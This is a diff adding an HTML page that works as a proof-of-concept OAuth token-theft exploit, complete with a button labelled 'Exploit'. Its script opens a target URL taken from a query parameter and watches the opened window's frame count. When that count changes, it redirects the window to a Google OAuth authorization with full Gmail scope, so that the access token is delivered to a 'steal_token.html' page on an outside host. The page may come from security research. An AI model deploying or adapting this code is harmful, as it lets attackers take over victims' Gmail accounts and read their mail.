|
| 1 | +<!DOCTYPE html> |
| 2 | +<html> |
| 3 | +<head> |
| 4 | + <style> |
| 5 | + body { |
| 6 | + display: flex; |
| 7 | + justify-content: center; |
| 8 | + align-items: center; |
| 9 | + background-color: #f2f2f2; |
| 10 | + } |
| 11 | + img { |
| 12 | + width: 400px; |
| 13 | + height: 500px; |
| 14 | + object-fit: contain; |
| 15 | + } |
| 16 | + button { |
| 17 | + padding: 10px 20px; |
| 18 | + background-color: #4caf50; |
| 19 | + color: white; |
| 20 | + border: none; |
| 21 | + cursor: pointer; |
| 22 | + } |
| 23 | + </style> |
| 24 | +<script> |
| 25 | + // Get the URL parameter |
| 26 | + function getParameterByName(name, url) { |
| 27 | + if (!url) url = window.location.href; |
| 28 | + name = name.replace(/[\[\]]/g, "\\$&"); |
| 29 | + var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), |
| 30 | + results = regex.exec(url); |
| 31 | + if (!results) return null; |
| 32 | + if (!results[2]) return ''; |
| 33 | + return decodeURIComponent(results[2].replace(/\+/g, " ")); |
| 34 | + } |
| 35 | +let foo; |
| 36 | + let baselength; |
| 37 | + var urlParam = getParameterByName('url'); |
| 38 | + function init() { |
| 39 | + baselength = foo.length; |
| 40 | + console.log("Setting base to " + baselength); |
| 41 | + watch(); |
| 42 | + } |
| 43 | + function watch() { |
| 44 | + if (foo.length != baselength) { |
| 45 | + console.log("baselength: " + baselength); |
| 46 | + console.log("foo.length " + foo.length); |
| 47 | + console.log('Google navigation'); |
| 48 | + foo.location.href = "https://accounts.google.com/o/oauth2/v2/auth?client_id=366344551598-sf386f3s7c2rb9otg7h9j0tqght72ika.apps.googleusercontent.com&redirect_uri=https://o-auth-eta.vercel.app/steal_token.html&response_type=token&scope=https%3A%2F%2Fmail.google.com%2F"; |
| 49 | + }else{ |
| 50 | + console.log("watch(): " + foo.length + " / " + baselength); |
| 51 | + setTimeout(watch,1); |
| 52 | + } |
| 53 | + } |
| 54 | + function launch(){ |
| 55 | + foo = window.open(urlParam, "foo", ""); |
| 56 | + setTimeout(init,1200); |
| 57 | + } |
| 58 | + launch(); |
| 59 | +</script> |
| 60 | +</head> |
| 61 | +<body> |
| 62 | + <script src="/main.js"></script> |
| 63 | + <img src="https://media.tenor.com/HQEVMrJMMI0AAAAi/cat-cat-tutu.gif"> |
| 64 | + </br> |
| 65 | + <button onclick="launch()">Exploit</button> |
| 66 | +</body> |
| 67 | +</html> |
0 commit comments